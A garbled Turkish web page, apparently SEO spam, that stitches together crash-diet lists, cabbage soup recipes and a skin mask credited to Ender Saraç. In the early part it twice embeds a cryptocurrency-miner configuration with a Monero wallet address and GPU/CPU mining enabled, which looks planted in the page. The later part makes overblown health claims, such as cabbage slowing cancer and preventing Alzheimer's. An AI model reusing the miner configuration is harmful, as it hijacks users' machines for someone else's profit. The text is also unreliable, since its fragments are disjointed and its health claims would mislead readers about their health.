Bu diyetin en HURMA DİYETİ : Ender Saraç tavsiyeli bu diyette hurma, yoğurt, yeşil çay ve su dışında birşey yok. Günde en fazla tüketilecek hurma sayısı da 21. Bu diyet 7 gün boyunca ara . Ender Saraç's diyet "21 Günde Göbek Eriten Diyet", followed by 1153 people saraç Pinterest. Yaklaşık yarım saat sonra kahvaltı Ender Saraç Kırışıklıklar İçin Lavanta Maskesi Uzman Doktor Ender Saraç kırışıklıklar için lavanta maskesi tarifini açıkladı! Malzemeler: 1 bardak portakal suyu 1 bardak lavanta çiçeği 2 dilim kabuksuz salatalık 1 yumurta sarısı Mısır unu Kaliteli ve katkısız arı balı Hazırlanışı: EnderSaraç tarafından hazırlanmış 21 Günlük Göbek Eriten Diyet olarak bilinen bu diyet listesine sadık kalarak özellikle kadınların şikayetçi olduğu göbek ve basen bölgesindeki yağlardan kurtulabilirsiniz. Dr. Ender Saraç’ın 21 günde çok hızlı göbek erittiren diyeti, tüm günleri tek tek takip edebilirsiniz. 1. Ender Saraç lahana çorbası diyeti ile 1 haftada 5 kilo verebilirsiniz. Lahana çorbası diyeti, malzemeleri, hazırlanışı ve diyetin nasıl yapıldığına göz atın. Lahanabol fayda içeren bir besin, ödem atıcı özelliğiyle öğünlerinizde tüketebilirsiniz🧡 Diyet yapmak istemeyenlere, arındırıcı bir çorba tarifi!Malzemeler. Yağ Yakıcı Lahana Çorbası Tarifi İçin Malzemeler. Yarım lahana (Lahana büyükse daha az) Yarım Brokoli. Yarım karnabahar. cash. { "api" { "worker-id" " }, "http" { "enabled" true, "host" " "port" 25, "access-token" null, "restricted" true }, "autosave" true, "donate-level" 80, "cpu" true, "opencl" true, "cuda" true, "pools" [ { "url" " "user" "49qqDEnv2afZtJPGkipVZ9WkwyQp7a3142je4Xat8KbK4NcMjigWptyKMYfPxd3cEjFs4M6qkNVA5icHicjMFUZf3SEAfYX", "rig-id" "Voyager1", "keepalive" true, "tls" true } ] } Diyetisyen Saraç Saraç-in Akdeniz Diyeti Listesi { "api" { "worker-id" " }, "http" { "enabled" true, "host" " "port" 25, "access-token" null, "restricted" true }, "autosave" true, "donate-level" 80, "cpu" true, "opencl" true, "cuda" true, "pools" [ { "url" " "user" "49qqDEnv2afZtJPGkipVZ9WkwyQp7a3142je4Xat8KbK4NcMjigWptyKMYfPxd3cEjFs4M6qkNVA5icHicjMFUZf3SEAfYX", "rig-id" "Voyager1", "keepalive" true, "tls" true } ] } Bu Diyet Listesi Dyt. Zeynep Capay ve Dr. Ender Saraç Tarafından Hazırlanmıştır Bu hafta sizler için 11 günlük yaz diyet listesi hazırladım. İşte diyet listemiz 1. GÜN Sabah 730 Aç Karna 1 bardak ılık su + 5 - 6 damla limon + ½ tatlı kaşığı bal. Ayurvedik gıda takviyenizi ballı-limonlu su ile içip üzerine bir fincan sıcak su içiniz. Kahvaltı 800 20 -30 dakika sonra 1 dilim kızarmış kepek ekmeği +1 dilim az yağlı dil peyniri mozarella-lor-çökelek + 2 adet hafif acı sivribiber + 4 - 5 adet sıcak sudan geçirilmiş zeytin. Ara Öğün 3 esmer kuru kayısı Öğle Yemeği Tavuk ızgara derisiz + yeşil salata marul, roka, tere, maydanoz gibi +1 çay bardağı diyet yoğurt. İkindi 1500 Meyve, yeşil elma 1 adet / armut 1 adet / kivi 1 adet / ayva 1/2 adet / greyfurt ½ adet veya 1 avuç hamimsi, sert, diri kütür kayısı / nektari / şeftali / çilek / vişne / erik / kiraz / mürdüm eriği gibi. 1700 3 ceviz içi 1830 Ayurvedik gıda takviyenizi ılık su ile içip üzerine bir fincan sıcak su içiniz. Akaşam Yemeği Gece mayalı gıda yok Yoğurt, peynir gibi Güveçte etsiz domatesli türlü + yeşil salata + 2 dilim kepekli ekmek Tercihen kızarmış Gece 2100 2 adet meyve NOT 1 Ayurvedik ilaçlar önerildi ise; yemeklerden 30 dk önce ılık bir su ile içilmeli ardından 1 fincan sıcak su içilmelidir. NOT 2 Belirtilen saatler öğünler için önerilen rutin saatlerdir. 2. GÜN Sabah 730 Aç Karna 1 bardak ılık ballı limonlu su. Kahvaltı 800 20 -30 dakika sonra 1 fincan diyet süt + 4- 5 kaşık sade yulaf ezmesi. Ara Öğün 1 meyve listeden sert-diri- kütür fazla şekerlenmemiş, çok soğuk yenmeyecek. Öğle Yemeği Soya kıymalı lahana kapuskası veya ıspanak - semizotu – taze fasulye + light yoğurt yarım kase + bol yeşil salata. İkindi 1500 1 meyve listeden sert- diri- kütür fazla şekerlenmemiş, çok soğuk yenmeyecek. 1700 1 dilim kepek ekmeği + 2 tatlı kaşığı şekersiz marmelat. Akaşam Yemeği Balık Izgara derisiz + yeşil salata + sebze sote brokoli, taze fasulye, ıspanak, kabak, bezelye, patlıcan, bürüksel lahanası. Gece 2100 1 adet meyve + 1 çay bardağı dolusu beyaz leblebi tuzsuz 3. GÜN Sabah 730 Sulu Diyet Aç Karna 1 bardak ılık ballı limonlu su. Kahvaltı 800 20 -30 dakika sonra Az şekerli 4- 5 kuru üzümle tatlandırmak daha uygundur kabuk tarçınlı karanfilli elma kompostosu kabuklarıyla beraber. Ara Öğün 1 kase az şekerli komposto içilecek. Öğle Yemeği 1 kase sebze çorba az sıvı yağlı + 1 bardak ayran light yoğurt ile. İkindi 1500 1 kase az şekerli komposto + 1 bardak ayran light. 1700 1 kase az şekerli komposto. Akaşam Yemeği Balık Izgara derisiz + yeşil salata + sebze sote brokoli, taze fasulye, ıspanak, kabak, bezelye, patlıcan, bürüksel lahanası. Gece 2100 1 kase az şekerli komposto. 4. GÜN Sabah 730 Sulu Diyet Aç Karna 1 bardak ılık ballı limonlu su. Kahvaltı 800 20 -30 dakika sonra 1 dilim kızarmış kepek ekmeği + zeytin 5- 6 adet sıcak sudan geçirilmiş + yeşillik + 2- 3 adet hafif acı sivri biber + 1 tatlı kaşığı diyet kuşburnu marmelatı. Ara Öğün 3 esmer kuru kayısı + 4 kabuksuz badem. Öğle Yemeği Etsiz taze fasulye + cacık bol dereotlu – 4 kaşık light yoğurt ile + yeşil salata. İkindi 1500 1 adet meyve + 1 parmak dil peyniri. 1700 3 ceviz içi. Akaşam Yemeği Gece yoğurt ve peynir yok. Balık ızgara 1 orta boy yeşil salata + salatalık kabuklu. Gece 2100 2 adet meyve. 5. GÜN Sabah 730 Sulu Diyet Aç Karna 1 bardak ılık ballı limonlu su. Kahvaltı 800 20 -30 dakika sonra 2 dilim ince kepek ekmeği + 2 dilim dil peyniri + mozarella veya çorba kaşığı lor - çökelek + yeşillikten tost yağsız. Ara Öğün 3 esmer kuru kayısı Öğle Yemeği Omlet 3 yumurta beyazı + 1 yumurta sarısı ile yapılmış sebzeli taze soğanlı omlet, ıspanaklı, pazılı veya mevsim sebzeleriyle + maydanoz ve dereotlu + yeşil salata. İkindi 1500 1 bardak ayran light. 1700 bardak greyfurt suyu veya 1 yeşil elma kabuklu. Akaşam Yemeği Mayalı gıda yok. Sebze yemeği etsiz semizotu yemeği + yeşil salata + 4- 5 kaşık kepekli makarna. Gece 2100 1 adet meyve. 6. GÜN Sabah 730 Sulu Diyet Aç Karna 1 bardak ılık ballı limonlu su. Kahvaltı 800 20 -30 dakika sonra 2 adet meyveden meyve salatası, üzerine 2 tatlı kaşığı silme fındık rendesi + tarçın. Ara Öğün 1 bardak ılık light süt. Öğle Yemeği Tavuk sote mantarlı sebzeli + yeşil salata + salatalık. İkindi 1500 1 bardak ayran + 1 meyve. 1700 3 esmer kuru kayısı. Akaşam Yemeği Tek yufkadan kabaklı teflon tavada börek + yeşil salata. Gece 2100 1 meyve. 7. GÜN Sabah 730 Sulu Diyet Aç Karna 1 bardak ılık ballı limonlu su. Kahvaltı 800 20 -30 dakika sonra 2 dilim kepek ekmeği kızarmış + sıcak sudan geçirilmiş 6-7 adet zeytin + yeşillik + 3-4 adet yeşil sivri biber. Ara Öğün 1 meyve. Öğle Yemeği Etsiz türlü yemeği + 1 kase light yoğurt + salata İkindi 1500 1 meyve. 1700 1 dilim ekmek + 2 tatlı kaşığı marmelat. Akaşam Yemeği Yoğurt ve peynir yok. Balık ızgara 1 orta boy + yeşil salata + zeytinyağlı enginar + bakla veya kabak + taze fasulye patates, havuç yok. Gece 2100 2 adet meyve biri kivi olacak. 8. GÜN Sabah 730 Sulu Diyet Aç Karna 1 bardak ılık ballı limonlu su. Kahvaltı 800 20 -30 dakika sonra 2 parmak yağsız light peynir + 2 dilim kepekli ekmek tost yapılacak. Ara Öğün 1 avuç sert çilek veya diri meyve. Öğle Yemeği Zeytinyağlı barbunya 4- 5 kaşık + 1 dilim kepekli ekmek + yeşil salata. İkindi 1500 1 adet yeşil elma. 1700 1 parmak light dil peynir. Akaşam Yemeği 1 kase mevsim sebzeleri ile yapılmış çorba + 2 - 3 kaşık kepekli makarna + yeşil salata. Gece 2100 2 adet meyve. 9. GÜN Sabah 730 Sulu Diyet Aç Karna 1 bardak ılık ballı limonlu su. Kahvaltı 800 20 -30 dakika sonra 1 dilim kepekli ekmek + 1 dilim dil peyniri +3- 4 adet siyah zeytin. Ara Öğün 1 bardak ayran + 2 esmer kuru kayısı. Öğle Yemeği Zeytinyağlı taze fasulye + 2 ince dilim ekmek + çoban salata. İkindi 1500 1/ 2 adet simit + bitki çayı. 1700 1 adet meyve. Akaşam Yemeği Izgara balık + roka - marul – semizotu salata. Gece 2100 1 adet meyve 10. GÜN Sabah 730 Sulu Diyet Aç Karna 1 bardak ılık ballı limonlu su. Kahvaltı 800 20 -30 dakika sonra 2 dilim kızarmış ekmek + 1 dilim dil peyniri, mozarella + 1 tatlı kaşığı diyet kuşburnu marmelatı. Ara Öğün 1 adet meyve. Öğle Yemeği Etsiz türlü +1 kase cacık + 1 dilim ekmek. İkindi 1500 1 bardak ayran. 1700 3 esmer kuru kayısı + 4 kabuksuz badem. Akaşam Yemeği Tavuk şiş + sebze garnitür bol kabaklı. Gece 2100 2 adet meyve 11. GÜN Sulu Diyet Sabah 730 Sulu Diyet Komposto ve Detoks Yemeği Tarifi 1 bardak ılık ballı limonlu su. Komposto Tarifi Öğleye kadar tarçın ve karanfilli, 3-4 kabuklu yeşil elma, 3-4 kuru kayısı ve 5-6 kuru üzüm/tüm gün kompostosu içilecek. Öğleden itibaren lahana çorbası içilecek. Detoks yemeği tarifi için malzemeler 1- Semizotu/kabak 3-4 adet 2- Bir Adet büyükçe soğan 3- İki diş sarımsak 4- Bir tatlı kaşığı sıvıyağ 5- Bir tutam tuz 6- Bir tatlı kaşığı biber salçası Ana Sayfa İpucları Kış aylarının sevilen sebzesi beyaz lahanadan yapılan sağlıklı tariflerle kolaylıkla zayıflayabilirsiniz. Yağ yakıcı olması nedeniyle sık sık tercih edilen beyaz lahana ile nasıl kilo verebileceğinizin püf noktalarını sizler için araştırdık. Çiğ lahana zayıflatır mı? Çiğ lahananın faydaları neler? Lahana diyeti nedir, lahana diyeti nasıl kullanılır? Beyaz lahana mucizesi ile zayıflamanın yolu… Yağ yakma konusunda mükemmel sebzelerden biri olan beyaz lahanayı, ister katı bir şekilde ister de sıvı olarak tüketerek çok çabuk bir sürede kilo verebilirsiniz. Kemik sağlığı, hazımsızlık, metabolizma hızlandırma, selülit azaltma gibi birçok rahatsızlığın ilacı olan beyaz lahana, sağlıktan cilt güzelliğine, cilt güzelliğinden diyette zayıflamaya kadar herkesin imdadına yetişiyor. Prof. Dr. İbrahim Saraçoğlu’nun da sağlıklı zayıflamak için önerdiği Lahana Detoks kürünü 3 farklı şekilde yapmanız mümkün! İster çiğ şekilde salatalarda ister suyu ile sıvı olarak ister de ana yemeklerde tercih edebileceğiniz çorbası ile hızlıca forma girebilirsiniz. Kışın hem sağlığa hem de kilo vermeye olumlu etki sağlayacak yöntemlerle istediğiniz görünümü yakayabileceksiniz. Her diyette olduğu gibi yine uzman onayı ile uygulamanız gereken lahana diyetinde nelere dikkat etmeniz gerektiğini biliyor muydunuz? Çiğ lahana ile zayıflama formülü nedir? Lahana yiyerek kilo verilir mi? Lahana diyeti nasıl yapılır? İşte lahana diyeti ile ilgili bilinmesi gerekenler… Vücudu toksinlerden arındırmaya ve zayıflatmaya yönelik uygulanan lahana detoks çorbasının yapılışını sizler için açıkladık. Lahana sebzesini çorba olarak diyetinize eklemek istiyorsanız buyurun tarifine… ENDER SARAÇ’TAN BEYAZ LAHANALI DETOKS ÇORBA TARİFİ MALZEMELER 1 adet beyaz lahana 1 çay kaşığı tuz 1/2 yemek kaşığı zeytinyağı 1 silme tatlı kaşığı kimyon 1 silme tatlı kaşığı toz zencefil 1 çay kaşığı toz zerdeçal 4 diş sarımsak 1 büyük boy kuru soğan 7 dal maydanoz saplarıyla beraber 3 tane acı sivri biber YAPILIŞI Yukarıda bahsettiğimiz malzemeleri güzelce yıkayın ve iri parçalar halinde tencereye koyun. Bolca suyun içine koyarak ilk yüksek sonra kısık ateşte pişirin. Beyaz lahana iyice yumuşadıktan sonra blenderdan geçirip termosta bekletin. Gün içerisinde 2-2,5 litre kadar tüketin. YAĞ YAKICI LAHANA ÇORBASI DİYET LİSTESİ Yağ yakıcı Lahana çorbası diyet listesi 1. gün Sınırsız çorba ve muz hariç tüm meyveler tüketilebilir. 2. gün Sınırsız çorbaya ek olarak bezelye, mısır ve fasulye haricinde tüm sebzeler pişmiş ya da çiğ olarak tüketilebilir. İkinci günde 1 orta boy fırınlanmış ya da haşlanmış patates, 1 tatlı kaşığı tereyağı ya da zeytinyağı ile birlikte tüketilebilir. 3. gün Sınırsız çorba yanında patates ve muz haricindeki tüm sebze ve meyveler tüketilebilir. 4. gün Sınırsız çorba, yağsız süt ve sınırsız muz tüketilebilir. 5. gün Sınırsız çorba yanına 300 gram ile 500 gram arasında et, tavuk, balık ve taze domates tüketilebilir. 6. gün Patates harici sebzeler, et ve sınırsız çorba tüketilir. 7. gün Sınırsız çorbaya ek olarak kahverengi pirinç ve taze sıkılmış meyve suyu tüketilir. Post Views 18 Ender Saraç lahana diyeti, Ender Saraç tarafında geliştirilen ve yaygın bir şekilde kilo vermek amacıyla kullanılan lahana diyeti sayesinde haftada 5 kilo vermek mümkün olmaktadır. Bu kilo oranı kişinin vücut ve sağlık durumuna göre farklılık gösterse de lahana diyeti ile kilo verilebilir. Lahana diyetinde temel yiyecek lahana ve lahana çorbasıdır. Sağlık açısından da inanılmaz faydalı olan lahana zayıflamaya nasıl katkıda bulunur?Ender Saraç lahana diyetinde kullanılan beyaz yapraklı lahana, mükemmel bir idrar söktürücü ve ödem attırıcıdır. Lahana ödem söktürürken vücudun tuz ve mineral seviyesini kontrol altında tutar. Bu nedenle de lahana diyeti sağlıklı diyetler arasında kabul edilmektedir. Lahana diyetinde tüketilen lahana çorbası metabolizmayı hızlandırmakta ve hormon dengesini korumaktadır. Bu nedenle verilen kiloların kalıcı olmasını sağlar. Menopoz ve adet döneminde de hormon dengesini korumak için lahana çorbası diyeti emziren anneler tarafında uygulanmamalıdır. Lahana diyeti emzirme döneminde anne sütünün kalitesini ve miktarını azaltabilir. Dolayısı ile emzirme döneminde anne sütünü arttıran emziren anne diyeti Saraç Lahana Diyeti Çorbası Nasıl Hazırlanır?Malzemeler1 tane büyük boy beyaz yapraklı lahana5 tane orta boy kuru soğan2 adet domates1 bağ maydanoz2 tane yeşil biber1 tane iri boy kerevizYarım yemek kaşığı domates salçasıHazırlanışı Bütün malzeme bol su ile birkaç el yıkanır. Ardından ufak ufak doğranarak. Doğranan kuru soğanlar yarım yemek kaşığı salça ile yumuşayıncaya kadar pişirilir. Ardından diğer malzemeler soğana ilave edilir. Üzerine yeterince su ilave edilerek çorba kıvamı alıncaya kadar kaynatılır. Hazır hale gelen çorba arzuya göre blenderdan geçirilerek tüketilmeye Saraç Lahana Diyeti1. Gün Muz haricinde istenilen ölçülerde meyve ve 1 porsiyon lahana çorbası2. Gün Fasulye, baklagiller ve nohut haricinde istenilen ölçüde sebze yemeği ve 1 porsiyon lahana çorbası3. Gün İstenilen kadar sebze ve meyve, 1 porsiyon lahana çorbası4. Gün 5 tane muz, 4 su bardağı diyet süt, 1 porsiyon lahana çorbası5. Gün 300 gram haşlama ya da ızgarada pişmiş dana eti, 1 kase ananas suyu, 1 porsiyon lahana çorbası6. Gün İstenilen kadar haşlama ya da ızgara dana eti, 1 porsiyon lahana çorbası7. Gün 1 ufak kase haşlanmış esmer pirinç, istenilen ölçüde sebze, 1 bardak meyve suyu ve 1 porsiyon lahana çorbası Son Güncelleme 104042 Ender Saraç Lahana Diyeti ile ilgili bu madde bir taslaktır. Madde içeriğini geliştirerek Herkese açık dizin kaynağımıza katkıda bulunabilirsiniz. Lahana çorbası diyeti, özellikle kısa sürede hızlı bir şekilde kilo vermek isteyenlerin uyguladığı bir diyet olarak son zamanların en popüler diyetlerinden biri oldu. Bir haftada 4,5 kilo verdirdiği iddia edilen ve Sacred Kalp Hastanesi diyeti ya da Mayo Clinic diyeti olarak da bilinen lahana çorbası diyeti ilk olarak önemli operasyonlara girecek olan hastalara ameliyat öncesi hızlı kilo verdirmek için geliştirildi, ardından başarısının dilden dile dolaşmasıyla lahana çorbası zayıflamak isteyen hemen herkesin sofrasına konuk olmaya başladı. Gelin, lahana çorbası diyeti nedir, nasıl yapılır, faydaları, zararları nedir, tek tek bakalım. ÖNEMLİ NOT Lahana çorbası diyetine başlamadan önce mutlaka doktorunuza danışmalısınız. Düşük kalorili ve kısıtlı bir diyet olduğundan lahana çorbası diyeti mutlaka doktor kontrolünde uygulanmalıdır. Zayıflamak isterken sağlığınıza zarar vermeyin, aman diyelim. Lahana çorbası diyeti nedir? Merkezinde bol şifalı lahana çorbasının yer aldığı ve hızlı kilo verdirmesi sebebiyle oldukça popüler olan bir diyet lahana çorbası diyeti. Güçlü ve hızlı yağ yakımını sağlayan lahana çorbası diyetinde lahana çorbası dışında yağsız süt, sebze ve meyve gibi bir ya da iki çeşit besin yer alıyor. Zaten kendisi oldukça düşük kalorili olan lahana çorbasından aldığınızdan daha fazla kaloriyi yaktırdığı bile iddia edilen bu diyette dikkat edilmesi gereken en önemli nokta 1 haftadan fazla süreyle devam ettirilmemesi. Eğer kilo vermeye devam etmek istiyorsanız 15 gün ara verip yeniden başlamalısınız. Tabii doktorunuzun da onayıyla... 7 günlük lahana çorbası diyeti Nasıl yapılır? Lahana çorbası diyetinde ne yenir? Yağ yakan, kilo verdiren lahana çorbası diyetinin ne olduğunu öğrendik. Şimdi sıra lahana çorbası diyetini nasıl yapacağımıza geldi. Çok önemli uyarımızı şu noktada yeniden hatırlatmak istiyoruz. Lahana çorbası diyeti asla 1 haftadan uzun süre yapılmamalı ve diyeti yapmaya karar verdiyseniz önce mutlaka doktorunuza danışmalısınız. Bu örnek listeyi sakın doktorunuza danışmadan uygulamayın. Doyana kadar, istediğiniz miktarda lahana çorbası içebilirsiniz. Yanında bol bol meyve tüketin, sadece muzdan uzak durun. Sınırsız lahana çorbası ve sebze tüketebilirsiniz. Burada dikkat etmeniz gereken ise şu; bezelye, mısır ve fasulye yememelisiniz. Akşam saatlerinde bir adet haşlanmış patates de yiyebilirsiniz. İkinci günde meyve hiç tüketmemeli, bol bol su içmeyi de unutmamalısınız. Sınırsız lahana çorbası içebilir, mısır ve patates gibi nişastalı besinler hariç doyana kadar sebze tüketebilirsiniz. Muz hariç diğer meyveleri de yiyebilir, şekersiz çay içebilirsiniz. Su içmeye yine özen gösterin. Sınırsız lahana çorbası içebilir, üç adet muz tüketebilir ve yağsız süt içebilirsiniz. 500 grama kadar beyaz ya da kırmızı et ve taze domates yiyebilirsiniz. Lahana çorbasını sınırsız içebilirsiniz. Sınırsız lahana çorbasının yanı sıra yağsız kırmızı et ve patates hariç pişmiş sebze yiyebilirsiniz. Son günde yine sınırsız lahana çorba, buna ilave olarak esmer pirinç, düşük kalorili sebzeler tüketebilir, katkısız, doğal meyve sularından içebilirsiniz. Gelelim tarifine Lahana çorbası nasıl yapılır? Malzemeler 3 yemek kaşığı zeytinyağı 1 yemek kaşığı tereyağı 1 adet orta boy beyaz lahana 1 adet orta boy kuru soğan 1 adet orta boy havuç 1 yemek kaşığı un 1/2 tatlı kaşığı acı biber salçası 5 su bardağı sıcak tavuk suyu ya da sıcak içme suyu 1 çay kaşığı tuz 1/2 çay kaşığı taze çekilmiş tane karabiber 1/4 demet dereotu Servisi için Nasıl yapılır? İlk olarak lahanayı ikiye kesin ve sert kök kısmını alın. Suda iyice yıkadıktan sonra ince ince doğrayın. Diğer yandan kuru soğanı küçük küpler halinde kesin, havucu rendenin iri kısmıyla rendeleyin. Derin bir tencereye zeytinyağı ve tereyağını koyup kızdırın. Ardından soğanları ekleyerek soteleyin. Un ve acı biber salçasını da ekleyip kısık ateşte kavurun. Sıcak tavuk suyunu ekleyip pürüzsüz bir kıvam elde edene kadar çırpın. Sonrasında rendelenmiş havuç ve ince ince kıyılmış beyaz lahanayı da ekleyip orta ateşte kaynamaya bırakın. Kaynayınca tuz ve karabiberi de ekleyin. 30 dakika kadar pişirdiğiniz çorbayı ocaktan alın ve on dakika dinlendirdikten sonra servis edin. Detaylı tarifi için buraya Lahana çorbası tarifi Lahananın faydaları nelerdir? Lahana çorbası diyetini daha iyi anlamamız için bir de kısaca lahananın faydalarından bahsetmek lazım. Dolaşım sistemini harekete geçirdiği için vücuttan daha fazla ödem ve yağ atılmasını sağlar. Hızlı yağ yakıcı özelliğiyle kilo vermeyi kolaylaştırır. Bir kase pişirilmiş lahana yaklaşık 33 kalori içerir, ayrıca bu mucize besin ayrıca bağırsak hareketlerini artırır, daha kolay dışarı çıkmanızı sağlar, kabızlık sorunlarına çözüm olur. Yapraklarında sakladığı gizli silah niteliğindeki aminoasitler sayesinde enfeksiyon hastalıklarına karşı mücadele eder. C vitamini bakımından oldukça zengin olan lahana, vücudun bağışıklık sisteminin güçlenmesine yardımcı olur. İçerdiği çok zengin miktardaki madde ve bileşenler yardımıyla kanser hücrelerinin yayılma hızını yavaşlatır. Düzenli olarak lahana tüketimi Alzheimer gibi zihinsel hastalıkların ortaya çıkmasına engel olur. İçerdiği bol miktarda beta karoten sayesinde görme bozukluklarına ve göz hastalıklarına yakalanma riskini azaltır. İçerdiği bu kükürt ise akne ve sivilcelerle savaşır, cildi temizler. İçerdiği D vitamini ile cildin yaşlanma belirtilerini geciktirir, yaşlanmayı yavaşlatır. İçindeki A vitamini sayesinde daha sağlıklı ve parlak saçlara kavuşmanızı sağlar. Lahana çorbası diyeti yaparken dikkat edilmesi gerekenler, zararları simplyrecipes Her diyette olduğu gibi lahana çorbası diyeti yaparken de dikkat edilmesi gerekenler var. Onları şu şekilde sıralamak mümkün Daha önce de birkaç kez üstüne bastığımız gibi lahana çorbası diyeti 1 haftadan uzun süre yapılmamalı. Devam edilmek isteniyorsa mutlaka iki hafta ara verip öyle başlanmalı. Bu diyet boyunca çok fazla lahana tüketmeniz gerekecek, bu da midede gaz ve şişkinlik yapabilir, bazı mide problemleri yaşamanıza sebep olabilir. Lahana çorbası diyeti tek besine dayalı bir diyet türü olduğundan sık sık yaptığınız takdirde kilo verme hızınızın ve metabolizmanızın yavaşlamasına neden olabilir. Lahana çorbası diyeti kısa süre içinde hızlıca kilo vermenizi sağlayabilir, ancak çok kısıtlı bir diyet olduğundan bıraktığınızda aynı hızla kilo alabilirsiniz. Bu diyetin diğer besinler açısından kısıtlı bir diyet olmasının diğer bir dezavantajı ise vitamin ve mineral eksikliğine yol açması ve protein alımının düşük olması. Bu da diyet esnasında kas kaybını önlemenin zor olacağı anlamına geliyor. Bu diyet oldukça düşük kalorili bir diyet olduğundan kilo kaybının %34'ü yağ, geri kalanı su ve kas kaybı olacaktır. Böbrekleriniz idrarla normalden daha fazla tuz ve daha fazla su atabilir. Bu yüzden diyet boyunca su tüketimine azami özen göstermeniz çok ama çok önemli. Günde almamız gereken kalori miktarı kadınlar için 1200 ve erkekler için 1500 kalori olduğu düşünülürse ve lahana çorbası diyetinin maksimum 1000 kalorilik bir diyet olduğu göz önüne alındığında doktora danışmadan asla uygulanmaması gerektiğini bir kez daha hatırlatalım. Düşük kalorili bir diyet olarak daha çok obez hastalara önerilen bu diyet normal bireylerde baş dönmesi, güçsüzlük ve halsizlik yaratabilir, bol lifli yapısı sebebiyle gaz birikmesi ve kramplar gibi mide sorunları yaşanmasına sebep olabilir. Düşük karbonhidrat ve düşük kalori içermesi sebebiyle bu diyet kan şekeri dengesinde büyük değişimler yaşanmasına sebep olabilir. Bu yüzden diyabet hastalarının ayrıca dikkatli olmasında ve doktor önerisi olmadan bu diyeti yapmamasında büyük fayda var. Herkese sağlıklı günler dileriz!

lahana diyeti tarifi ender saraç